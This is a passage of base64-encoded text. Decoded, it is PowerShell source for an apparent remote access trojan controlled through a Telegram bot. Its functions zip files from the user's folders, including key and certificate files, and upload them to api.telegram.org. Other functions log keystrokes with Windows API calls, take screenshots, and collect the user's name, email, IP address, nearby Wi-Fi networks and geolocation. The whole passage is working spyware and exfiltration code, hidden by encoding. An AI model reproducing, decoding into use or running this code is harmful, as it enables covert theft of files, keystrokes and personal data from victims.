09PT0iDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyB8IE91dC1OdWxsDQp9DQoNCkZ1bmN0aW9uIEV4dHJhLUluZm97DQokY29udGVudHMgPSAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KPT09PT09PT09PT09ICRnbGFzcyBFeGFtcGxlcyBhbmQgSW5mbyAkZ2xhc3MgPT09PT09PT09PT0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KPT09PT09PT09ICBFeGZpbHRyYXRlIENvbW1hbmQgRXhhbXBsZXMgPT09PT09PT09PQ0KKCBQU2A+IEV4ZmlsdHJhdGUgLVBhdGggRG9jdW1lbnRzIC1GaWxldHlwZSBwbmcgKQ0KKCBQU2A+IEV4ZmlsdHJhdGUgLUZpbGV0eXBlIGxvZyApDQooIFBTYD4gRXhmaWx0cmF0ZSApDQpFeGZpbHRyYXRlIG9ubHkgd2lsbCBzZW5kIG1hbnkgcHJlLWRlZmluZWQgZmlsZXR5cGVzDQpmcm9tIGFsbCBVc2VyIEZvbGRlcnMgbGlrZSBEb2N1bWVudHMsIERvd25sb2FkcyBldGMuLg0KDQpQQVRIDQpEb2N1bWVudHMsIERlc2t0b3AsIERvd25sb2FkcywNCk9uZURyaXZlLCBQaWN0dXJlcywgVmlkZW9zLg0KRklMRVRZUEUNCmxvZywgZGIsIHR4dCwgZG9jLCBwZGYsIGpwZywganBlZywgcG5nLA0Kd2RvYywgeGRvYywgY2VyLCBrZXksIHhscywgeGxzeCwNCmNmZywgY29uZiwgZG9jeCwgcmZ0Lg0KDQo9PT09PT09PT09ICBVcGxvYWQgQ29tbWFuZCBFeGFtcGxlcyA9PT09PT09PT09PQ0KKFBTYD4gVXBsb2FkIC1QYXRoIEM6L1BhdGgvVG8vRmlsZS50eHQpDQpVc2UgJ0ZvbGRlci1UcmVlJyBjb21tYW5kIHRvIHNob3cgYWxsIGZpbGVzDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyB8IE91dC1OdWxsDQp9DQoNCkZ1bmN0aW9uIENsb3Nlew0KJGNvbnRlbnRzID0gIiRjb21wICRlbnY6Q09NUFVURVJOQU1FICRjbG9zZWQgQ29ubmVjdGlvbiBDbG9zZWQiDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcw0Kcm0gLVBhdGggIiRlbnY6dGVtcC90Z2MyLnR4dCIgLUZvcmNlDQpleGl0DQp9DQoNCkZ1bmN0aW9uIFVwbG9hZHsNCnBhcmFtIChbc3RyaW5nW11dJFBhdGgpDQppZiAoVGVzdC1QYXRoIC1QYXRoICRwYXRoKXsNCiAgICAkZXh0ZW5zaW9uID0gW1N5c3RlbS5JTy5QYXRoXTo6R2V0RXh0ZW5zaW9uKCRwYXRoKQ0KICAgIGlmICgkZXh0ZW5zaW9uIC1lcSAiLmV4ZSIgLW9yICRleHRlbnNpb24gLWVxICIubXNpIikgew0KICAgICAgICAkdGVtcFppcEZpbGVQYXRoID0gW1N5c3RlbS5JTy5QYXRoXTo6Q29tYmluZShbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpLCBbU3lzdGVtLklPLlBhdGhdOjpHZXRGaWxlTmFtZSgkcGF0aCkpDQogICAgICAgIEFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLklPLkNvbXByZXNzaW9uLkZpbGVTeXN0ZW0NCiAgICAgICAgW1N5c3RlbS5JTy5Db21wcmVzc2lvbi5aaXBGaWxlXTo6Q3JlYXRlRnJvbURpcmVjdG9yeSgkcGF0aCwgJHRlbXBaaXBGaWxlUGF0aCkNCiAgICAgICAgY3VybC5leGUgLUYgY2hhdF9pZD0iJENoYXRJRCIgLUYgZG9jdW1lbnQ9QCIkdGVtcFppcEZpbGVQYXRoIiAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9zZW5kRG9jdW1lbnQiIHwgT3V0LU51bGwNCiAgICAgICAgV3JpdGUtT3V0cHV0ICJGaWxlIFVwbG9hZCBDb21wbGV0ZTogJHBhdGgiDQogICAgICAgIFJtIC1QYXRoICR0ZW1wWmlwRmlsZVBhdGggLVJlY3Vyc2UgLUZvcmNlDQogICAgfWVsc2V7DQogICAgICAgIGN1cmwuZXhlIC1GIGNoYXRfaWQ9IiRDaGF0SUQiIC1GIGRvY3VtZW50PUAiJFBhdGgiICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmREb2N1bWVudCIgfCBPdXQtTnVsbA0KICAgICAgICBXcml0ZS1PdXRwdXQgIkZpbGUgVXBsb2FkIENvbXBsZXRlOiAkcGF0aCINCiAgICAgICAgUm0gLVBhdGggJHRlbXBaaXBGaWxlUGF0aCAtUmVjdXJzZSAtRm9yY2UNCiAgICB9DQp9ZWxzZXtXcml0ZS1Ib3N0ICJGaWxlIE5vdCBGb3VuZDogJHBhdGgifQ0KfQ0KDQpGdW5jdGlvbiBFeGZpbHRyYXRlIHsNCnBhcmFtIChbc3RyaW5nW11dJEZpbGVUeXBlLFtzdHJpbmdbXV0kUGF0aCkNCiRtYXhaaXBGaWxlU2l6ZSA9IDUwTUINCiRjdXJyZW50WmlwU2l6ZSA9IDANCiRpbmRleCA9IDENCiR6aXBGaWxlUGF0aCA9IiRlbnY6dGVtcC9Mb290JGluZGV4LnppcCINCiRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkdGljayBFeGZpbHRyYXRpb24gU3RhcnRlZC4uIChTdG9wIHdpdGggS2lsbHN3aXRjaCkiDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyAgfCBPdXQtTnVsbA0KSWYoJFBhdGggLW5lICRudWxsKXskZm9sZGVyc1RvU2VhcmNoID0gIiRlbnY6VVNFUlBST0ZJTEVcIiskUGF0aH0NCmVsc2V7JGZvbGRlcnNUb1NlYXJjaCA9IEAoIiRlbnY6VVNFUlBST0ZJTEVcRG9jdW1lbnRzIiwiJGVudjpVU0VSUFJPRklMRVxEZXNrdG9wIiwiJGVudjpVU0VSUFJPRklMRVxEb3dubG9hZHMiLCIkZW52OlVTRVJQUk9GSUxFXE9uZURyaXZlIiwiJGVudjpVU0VSUFJPRklMRVxQaWN0dXJlcyIsIiRlbnY6VVNFUlBST0ZJTEVcVmlkZW9zIil9DQpJZigkRmlsZVR5cGUgLW5lICRudWxsKXskZmlsZUV4dGVuc2lvbnMgPSAiKi4iKyRGaWxlVHlwZX0NCmVsc2UgeyRmaWxlRXh0ZW5zaW9ucyA9IEAoIioubG9nIiwgIiouZGIiLCAiKi50eHQiLCAiKi5kb2MiLCAiKi5wZGYiLCAiKi5qcGciLCAiKi5qcGVnIiwgIioucG5nIiwgIioud2RvYyIsICIqLnhkb2MiLCAiKi5jZXIiLCAiKi5rZXkiLCAiKi54bHMiLCAiKi54bHN4IiwgIiouY2ZnIiwgIiouY29uZiIsICIqLmRvY3giLCAiKi5yZnQiKX0NCkFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLklPLkNvbXByZXNzaW9uLkZpbGVTeXN0ZW0NCiR6aXBBcmNoaXZlID0gW1N5c3RlbS5JTy5Db21wcmVzc2lvbi5aaXBGaWxlXTo6T3BlbigkemlwRmlsZVBhdGgsICdDcmVhdGUnKQ0KJGVzY21zZyA9ICJGaWxlcyBmcm9tIDogIiskZW52OkNPTVBVVEVSTkFNRQ0KZm9yZWFjaCAoJGZvbGRlciBpbiAkZm9sZGVyc1RvU2VhcmNoKSB7DQogICAgZm9yZWFjaCAoJGV4dGVuc2lvbiBpbiAkZmlsZUV4dGVuc2lvbnMpIHsNCiAgICAgICAgJGZpbGVzID0gR2V0LUNoaWxkSXRlbSAtUGF0aCAkZm9sZGVyIC1GaWx0ZXIgJGV4dGVuc2lvbiAtRmlsZSAtUmVjdXJzZQ0KICAgICAgICBmb3JlYWNoICgkZmlsZSBpbiAkZmlsZXMpIHsNCiAgICAgICAgICAgICRmaWxlU2l6ZSA9ICRmaWxlLkxlbmd0aA0KICAgICAgICAgICAgaWYgKCRjdXJyZW50WmlwU2l6ZSArICRmaWxlU2l6ZSAtZ3QgJG1heFppcEZpbGVTaXplKSB7DQogICAgICAgICAgICAgICAgJHppcEFyY2hpdmUuRGlzcG9zZSgpDQogICAgICAgICAgICAgICAgJGN1cnJlbnRaaXBTaXplID0gMA0KICAgICAgICAgICAgICAgIGN1cmwuZXhlIC1GIGNoYXRfaWQ9IiRDaGF0SUQiIC1GIGRvY3VtZW50PUAiJHppcEZpbGVQYXRoIiAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9zZW5kRG9jdW1lbnQiDQogICAgICAgICAgICAgICAgUmVtb3ZlLUl0ZW0gLVBhdGggJHppcEZpbGVQYXRoIC1Gb3JjZQ0KICAgICAgICAgICAgICAgIFNsZWVwIDENCiAgICAgICAgICAgICAgICAkaW5kZXgrKw0KICAgICAgICAgICAgICAgICR6aXBGaWxlUGF0aCA9IiRlbnY6dGVtcC9Mb290JGluZGV4LnppcCINCiAgICAgICAgICAgICAgICAkemlwQXJjaGl2ZSA9IFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uWmlwRmlsZV06Ok9wZW4oJHppcEZpbGVQYXRoLCAnQ3JlYXRlJykNCiAgICAgICAgICAgICAgICAkbWVzc2FnZXM9UmVjZWl2ZU1TRw0KICAgICAgICAgICAgICAgICAgICBpZiAoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCAtY29udGFpbnMgImtpbGwiKSB7DQogICAgICAgICAgICAgICAgICAgICRjb250ZW50cyA9ICIkY29tcCAkZW52OkNPTVBVVEVSTkFNRSAkY2xvc2VkIEV4ZmlsdHJhdGlvbiBLaWxsZWQiDQogICAgICAgICAgICAgICAgICAgICRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KICAgICAgICAgICAgICAgICAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMNCiAgICAgICAgICAgICAgICAgICAgYnJlYWsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkZW50cnlOYW1lID0gJGZpbGUuRnVsbE5hbWUuU3Vic3RyaW5nKCRmb2xkZXIuTGVuZ3RoICsgMSkNCiAgICAgICAgICAgICAgICBbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVFeHRlbnNpb25zXTo6Q3JlYXRlRW50cnlGcm9tRmlsZSgkemlwQXJjaGl2ZSwgJGZpbGUuRnVsbE5hbWUsICRlbnRyeU5hbWUpDQogICAgICAgICAgICAgICAgJGN1cnJlbnRaaXBTaXplICs9ICRmaWxlU2l6ZQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KJHppcEFyY2hpdmUuRGlzcG9zZSgpDQpjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiR6aXBGaWxlUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiAgfCBPdXQtTnVsbA0Kcm0gLVBhdGggJHppcEZpbGVQYXRoIC1Gb3JjZQ0KJGNvbnRlbnRzID0gIiRlbnY6Q09NUFVURVJOQU1FICR0aWNrIEV4ZmlsdHJhdGlvbiBDb21wbGV0ZSEiDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyAgfCBPdXQtTnVsbA0KfQ0KDQoNCkZ1bmN0aW9uIFNjcmVlbnNob3R7DQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5XaW5kb3dzLkZvcm1zDQokc2NyZWVuID0gW1N5c3RlbS5XaW5kb3dzLkZvcm1zLlN5c3RlbUluZm9ybWF0aW9uXTo6VmlydHVhbFNjcmVlbg0KJGJpdG1hcCA9IE5ldy1PYmplY3QgRHJhd2luZy5CaXRtYXAgJHNjcmVlbi5XaWR0aCwgJHNjcmVlbi5IZWlnaHQNCiRncmFwaGljcyA9IFtTeXN0ZW0uRHJhd2luZy5HcmFwaGljc106OkZyb21JbWFnZSgkYml0bWFwKQ0KJGdyYXBoaWNzLkNvcHlGcm9tU2NyZWVuKCRzY3JlZW4uTGVmdCwgJHNjcmVlbi5Ub3AsIDAsIDAsICRzY3JlZW4uU2l6ZSkNCiRmaWxlUGF0aCA9ICIkZW52OnRlbXBcc2MucG5nIg0KJGJpdG1hcC5TYXZlKCRmaWxlUGF0aCwgW1N5c3RlbS5EcmF3aW5nLkltYWdpbmcuSW1hZ2VGb3JtYXRdOjpQbmcpDQokZ3JhcGhpY3MuRGlzcG9zZSgpDQokYml0bWFwLkRpc3Bvc2UoKQ0KY3VybC5leGUgLUYgY2hhdF9pZD0iJENoYXRJRCIgLUYgZG9jdW1lbnQ9QCIkZmlsZVBhdGgiICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmREb2N1bWVudCIgfCBPdXQtTnVsbA0KUmVtb3ZlLUl0ZW0gLVBhdGggJGZpbGVQYXRoDQp9DQoNCkZ1bmN0aW9uIEtleS1DYXB0dXJlIHsNCiRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkdGljayBLZXlDYXB0dXJlIFN0YXJ0ZWQuLiAoU3RvcCB3aXRoIEtpbGxzd2l0Y2gpIg0KJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMNCiRBUEkgPSAnW0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJTZXQ9Q2hhclNldC5BdXRvLCBFeGFjdFNwZWxsaW5nPXRydWUpXSBwdWJsaWMgc3RhdGljIGV4dGVybiBzaG9ydCBHZXRBc3luY0tleVN0YXRlKGludCB2aXJ0dWFsS2V5Q29kZSk7IFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBDaGFyU2V0PUNoYXJTZXQuQXV0byldcHVibGljIHN0YXRpYyBleHRlcm4gaW50IEdldEtleWJvYXJkU3RhdGUoYnl0ZVtdIGtleXN0YXRlKTtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNldD1DaGFyU2V0LkF1dG8pXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBNYXBWaXJ0dWFsS2V5KHVpbnQgdUNvZGUsIGludCB1TWFwVHlwZSk7W0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJTZXQ9Q2hhclNldC5BdXRvKV1wdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgVG9Vbmljb2RlKHVpbnQgd1ZpcnRLZXksIHVpbnQgd1NjYW5Db2RlLCBieXRlW10gbHBrZXlzdGF0ZSwgU3lzdGVtLlRleHQuU3RyaW5nQnVpbGRlciBwd3N6QnVmZiwgaW50IGNjaEJ1ZmYsIHVpbnQgd0ZsYWdzKTsnDQokQVBJID0gQWRkLVR5cGUgLU1lbWJlckRlZmluaXRpb24gJEFQSSAtTmFtZSAnV2luMzInIC1OYW1lc3BhY2UgQVBJIC1QYXNzVGhydQ0KJExhc3RLZXlwcmVzc1RpbWUgPSBbU3lzdGVtLkRpYWdub3N0aWNzLlN0b3B3YXRjaF06OlN0YXJ0TmV3KCkNCiRLZXlwcmVzc1RocmVzaG9sZCA9IFtUaW1lU3Bhbl06OkZyb21TZWNvbmRzKDEwKQ0KV2hpbGUgKCR0cnVlKXsNCiAgICAka2V5UHJlc3NlZCA9ICRmYWxzZQ0KICAgIHRyeXsNCiAgICB3aGlsZSAoJExhc3RLZXlwcmVzc1RpbWUuRWxhcHNlZCAtbHQgJEtleXByZXNzVGhyZXNob2xkKSB7DQogICAgICAgIFN0YXJ0LVNsZWVwIC1NaWxsaXNlY29uZHMgMzANCiAgICAgICAgZm9yICgkYXNjID0gODsgJGFzYyAtbGUgMjU0OyAkYXNjKyspew0KICAgICAgICAka2V5c3QgPSAkQVBJOjpHZXRBc3luY0tleVN0YXRlKCRhc2MpDQogICAgICAgICAgICBpZiAoJGtleXN0IC1lcSAtMzI3NjcpIHsNCiAgICAgICAgICAgICRrZXlQcmVzc2VkID0gJHRydWUNCiAgICAgICAgICAgICRMYXN0S2V5cHJlc3NUaW1lLlJlc3RhcnQoKQ0KICAgICAgICAgICAgJG51bGwgPSBbY29uc29sZV06OkNhcHNMb2NrDQogICAgICAgICAgICAkdnRrZXkgPSAkQVBJOjpNYXBWaXJ0dWFsS2V5KCRhc2MsIDMpDQogICAgICAgICAgICAka2JzdCA9IE5ldy1PYmplY3QgQnl0ZVtdIDI1Ng0KICAgICAgICAgICAgJGNoZWNra2JzdCA9ICRBUEk6OkdldEtleWJvYXJkU3RhdGUoJGtic3QpDQogICAgICAgICAgICAkbG9nY2hhciA9IE5ldy1PYmplY3QgLVR5cGVOYW1lIFN5c3RlbS5UZXh0LlN0cmluZ0J1aWxkZXIgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKCRBUEk6OlRvVW5pY29kZSgkYXNjLCAkdnRrZXksICRrYnN0LCAkbG9nY2hhciwgJGxvZ2NoYXIuQ2FwYWNpdHksIDApKSB7DQogICAgICAgICAgICAgICAgJExTdHJpbmcgPSAkbG9nY2hhci5Ub1N0cmluZygpDQogICAgICAgICAgICAgICAgICAgIGlmICgkYXNjIC1lcSA4KSB7JExTdHJpbmcgPSAiW0JLU1BdIn0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCRhc2MgLWVxIDEzKSB7JExTdHJpbmcgPSAiW0VOVF0ifQ0KICAgICAgICAgICAgICAgICAgICBpZiAoJGFzYyAtZXEgMjcpIHskTFN0cmluZyA9ICJbRVNDXSJ9DQogICAgICAgICAgICAgICAgICAgICRub3NhdmUgKz0gJExTdHJpbmcgDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJG1lc3NhZ2VzPVJlY2VpdmVNU0cNCiAgICAgICAgaWYgKCRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLWNvbnRhaW5zICJraWxsIikgew0KICAgICAgICAkY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJGNsb3NlZCBLZXlDYXB0dXJlIEtpbGxlZCINCiAgICAgICAgJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQogICAgICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyB8IE91dC1OdWxsDQogICAgICAgIGJyZWFrDQogICAgICAgIH0NCiAgICB9DQogICAgZmluYWxseXsNCiAgICAgICAgSWYgKCRrZXlQcmVzc2VkKSB7DQogICAgICAgICAgICAkZXNjbXNnc3lzID0gJG5vc2F2ZSAtcmVwbGFjZSAnWyY8Pl0nLCB7JGFyZ3NbMF0uVmFsdWUuUmVwbGFjZSgnJicsICcmYW1wOycpLlJlcGxhY2UoJzwnLCAnJmx0OycpLlJlcGxhY2UoJz4nLCAnJmd0OycpfQ0KICAgICAgICAgICAgJHRpbWVzdGFtcCA9IEdldC1EYXRlIC1Gb3JtYXQgImRkLU1NLXl5eXkgSEg6bW06c3MiDQogICAgICAgICAgICAkY29udGVudHMgPSAiJGdsYXNzIEtleXMgQ2FwdHVyZWQgOiAiKyRlc2Ntc2dzeXMNCiAgICAgICAgICAgICRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KICAgICAgICAgICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zIHwgT3V0LU51bGwNCiAgICAgICAgICAgICRrZXlQcmVzc2VkID0gJGZhbHNlDQogICAgICAgICAgICAkbm9zYXZlID0gIiINCiAgICAgICAgfQ0KICAgIH0NCiRMYXN0S2V5cHJlc3NUaW1lLlJlc3RhcnQoKQ0KU3RhcnQtU2xlZXAgLU1pbGxpc2Vjb25kcyAxMA0KfQ0KfQ0KDQpGdW5jdGlvbiBTeXN0ZW0tSW5mb3sNCiRmdWxsTmFtZSA9IE5ldCBVc2VyICRFbnY6dXNlcm5hbWUgfCBTZWxlY3QtU3RyaW5nIC1QYXR0ZXJuICJGdWxsIE5hbWUiOyRmdWxsTmFtZSA9ICgiJGZ1bGxOYW1lIikuVHJpbVN0YXJ0KCJGdWxsIikNCiRlbWFpbCA9IEdQUkVTVUxUIC1aIC9VU0VSICRFbnY6dXNlcm5hbWUgfCBTZWxlY3QtU3RyaW5nIC1QYXR0ZXJuICIoW2EtekEtWjAtOV9cLVwuXSspQChbYS16QS1aMC05X1wtXC5dKylcLihbYS16QS1aXXsyLDV9KSIgLUFsbE1hdGNoZXM7JGVtYWlsID0gKCIkZW1haWwiKS5UcmltKCkNCiRjb21wdXRlclB1YklQPShJbnZva2UtV2ViUmVxdWVzdCBpcGluZm8uaW8vaXAgLVVzZUJhc2ljUGFyc2luZykuQ29udGVudA0KJGNvbXB1dGVySVAgPSBnZXQtV21pT2JqZWN0IFdpbjMyX05ldHdvcmtBZGFwdGVyQ29uZmlndXJhdGlvbnxXaGVyZSB7JF8uSXBhZGRyZXNzLmxlbmd0aCAtZ3QgMX0NCiROZWFyYnlXaWZpID0gKG5ldHNoIHdsYW4gc2hvdyBuZXR3b3JrcyBtb2RlPUJzc2lkIHwgP3skXyAtbGlrZSAiU1NJRCoiIC1vciAkXyAtbGlrZSAiKkF1dGhlbnRpY2F0aW9uKiIgLW9yICRfIC1saWtlICIqRW5jcnlwdGlvbioifSkudHJpbSgpDQokTmV0d29yayA9IEdldC1XbWlPYmplY3QgV2luMzJfTmV0d29ya0FkYXB0ZXJDb25maWd1cmF0aW9uIHwgd2hlcmUgeyAkXy5NQUNBZGRyZXNzIC1ub3RsaWtlICRudWxsIH0gIHwgc2VsZWN0IEluZGV4LCBEZXNjcmlwdGlvbiwgSVBBZGRyZXNzLCBEZWZhdWx0SVBHYXRld2F5LCBNQUNBZGRyZXNzIHwgRm9ybWF0LVRhYmxlIEluZGV4LCBEZXNjcmlwdGlvbiwgSVBBZGRyZXNzLCBEZWZhdWx0SVBHYXRld2F5LCBNQUNBZGRyZXNzIA0KJGNvbXB1dGVyU3lzdGVtID0gR2V0LUNpbUluc3RhbmNlIENJTV9Db21wdXRlclN5c3RlbQ0KJGNvbXB1dGVyQklPUyA9IEdldC1DaW1JbnN0YW5jZSBDSU1fQklPU0VsZW1lbnQNCiRjb21wdXRlck9zPUdldC1XbWlPYmplY3Qgd2luMzJfb3BlcmF0aW5nc3lzdGVtIHwgc2VsZWN0IENhcHRpb24sIENTTmFtZSwgVmVyc2lvbiwgQHtOYW1lPSJJbnN0YWxsRGF0ZSI7RXhwcmVzc2lvbj17KFtXTUldJycpLkNvbnZlcnRUb0RhdGVUaW1lKCRfLkluc3RhbGxEYXRlKX19ICwgQHtOYW1lPSJMYXN0Qm9vdFVwVGltZSI7RXhwcmVzc2lvbj17KFtXTUldJycpLkNvbnZlcnRUb0RhdGVUaW1lKCRfLkxhc3RCb290VXBUaW1lKX19LCBAe05hbWU9IkxvY2FsRGF0ZVRpbWUiO0V4cHJlc3Npb249eyhbV01JXScnKS5Db252ZXJ0VG9EYXRlVGltZSgkXy5Mb2NhbERhdGVUaW1lKX19LCBDdXJyZW50VGltZVpvbmUsIENvdW50cnlDb2RlLCBPU0xhbmd1YWdlLCBTZXJpYWxOdW1iZXIsIFdpbmRvd3NEaXJlY3RvcnkgIHwgRm9ybWF0LUxpc3QNCiRjb21wdXRlckNwdT1HZXQtV21pT2JqZWN0IFdpbjMyX1Byb2Nlc3NvciB8IHNlbGVjdCBEZXZpY2VJRCwgTmFtZSwgQ2FwdGlvbiwgTWFudWZhY3R1cmVyLCBNYXhDbG9ja1NwZWVkLCBMMkNhY2hlU2l6ZSwgTDJDYWNoZVNwZWVkLCBMM0NhY2hlU2l6ZSwgTDNDYWNoZVNwZWVkIHwgRm9ybWF0LUxpc3QNCiRjb21wdXRlck1haW5ib2FyZD1HZXQtV21pT2JqZWN0IFdpbjMyX0Jhc2VCb2FyZCB8IEZvcm1hdC1MaXN0DQokY29tcHV0ZXJSYW1DYXBhY2l0eT1HZXQtV21pT2JqZWN0IFdpbjMyX1BoeXNpY2FsTWVtb3J5IHwgTWVhc3VyZS1PYmplY3QgLVByb3BlcnR5IGNhcGFjaXR5IC1TdW0gfCAlIHsgInswOk4xfSBHQiIgLWYgKCRfLnN1bSAvIDFHQil9DQokY29tcHV0ZXJSYW09R2V0LVdtaU9iamVjdCBXaW4zMl9QaHlzaWNhbE1lbW9yeSB8IHNlbGVjdCBEZXZpY2VMb2NhdG9yLCBAe05hbWU9IkNhcGFjaXR5IjtFeHByZXNzaW9uPXsgInswOk4xfSBHQiIgLWYgKCRfLkNhcGFjaXR5IC8gMUdCKX19LCBDb25maWd1cmVkQ2xvY2tTcGVlZCwgQ29uZmlndXJlZFZvbHRhZ2UgfCBGb3JtYXQtVGFibGUNCiR2aWRlb2NhcmQ9R2V0LVdtaU9iamVjdCBXaW4zMl9WaWRlb0NvbnRyb2xsZXIgfCBGb3JtYXQtVGFibGUgTmFtZSwgVmlkZW9Qcm9jZXNzb3IsIERyaXZlclZlcnNpb24sIEN1cnJlbnRIb3Jpem9udGFsUmVzb2x1dGlvbiwgQ3VycmVudFZlcnRpY2FsUmVzb2x1dGlvbg0KJEhkZHMgPSBHZXQtV21pT2JqZWN0IFdpbjMyX0xvZ2ljYWxEaXNrIHwgc2VsZWN0IERldmljZUlELCBWb2x1bWVOYW1lLCBGaWxlU3lzdGVtLEB7TmFtZT0iU2l6ZV9HQiI7RXhwcmVzc2lvbj17InswOk4xfSBHQiIgLWYgKCRfLlNpemUgLyAxR2IpfX0sIEB7TmFtZT0iRnJlZVNwYWNlX0dCIjtFeHByZXNzaW9uPXsiezA6TjF9IEdCIiAtZiAoJF8uRnJlZVNwYWNlIC8gMUdiKX19LCBAe05hbWU9IkZyZWVTcGFjZV9wZXJjZW50IjtFeHByZXNzaW9uPXsiezA6TjF9JSIgLWYgKCgxMDAgLyAoJF8uU2l6ZSAvICRfLkZyZWVTcGFjZSkpKX19IHwgRm9ybWF0LVRhYmxlIERldmljZUlELCBWb2x1bWVOYW1lLEZpbGVTeXN0ZW0sQHsgTmFtZT0iU2l6ZSBHQiI7IEV4cHJlc3Npb249eyRfLlNpemVfR0J9OyBhbGlnbj0icmlnaHQiOyB9LCBAeyBOYW1lPSJGcmVlU3BhY2UgR0IiOyBFeHByZXNzaW9uPXskXy5GcmVlU3BhY2VfR0J9OyBhbGlnbj0icmlnaHQiOyB9LCBAeyBOYW1lPSJGcmVlU3BhY2UgJSI7IEV4cHJlc3Npb249eyRfLkZyZWVTcGFjZV9wZXJjZW50fTsgYWxpZ249InJpZ2h0IjsgfQ0KJENPTURldmljZXMgPSBHZXQtV21pb2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCBGb3JFYWNoLU9iamVjdHtbV21pXSgkXy5EZXBlbmRlbnQpfSB8IFNlbGVjdC1PYmplY3QgTmFtZSwgRGV2aWNlSUQsIE1hbnVmYWN0dXJlciB8IFNvcnQtT2JqZWN0IC1EZXNjZW5kaW5nIE5hbWUgfCBGb3JtYXQtVGFibGUNCiRzeXN0ZW1Mb2NhbGUgPSBHZXQtV2luU3lzdGVtTG9jYWxlOyRzeXN0ZW1MYW5ndWFnZSA9ICRzeXN0ZW1Mb2NhbGUuTmFtZQ0KJHVzZXJMYW5ndWFnZUxpc3QgPSBHZXQtV2luVXNlckxhbmd1YWdlTGlzdDska2V5Ym9hcmRMYXlvdXRJRCA9ICR1c2VyTGFuZ3VhZ2VMaXN0WzBdLklucHV0TWV0aG9kVGlwc1swXQ0KQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uRGV2aWNlOyRHZW9sb2NhdGUgPSBOZXctT2JqZWN0IFN5c3RlbS5EZXZpY2UuTG9jYXRpb24uR2Vv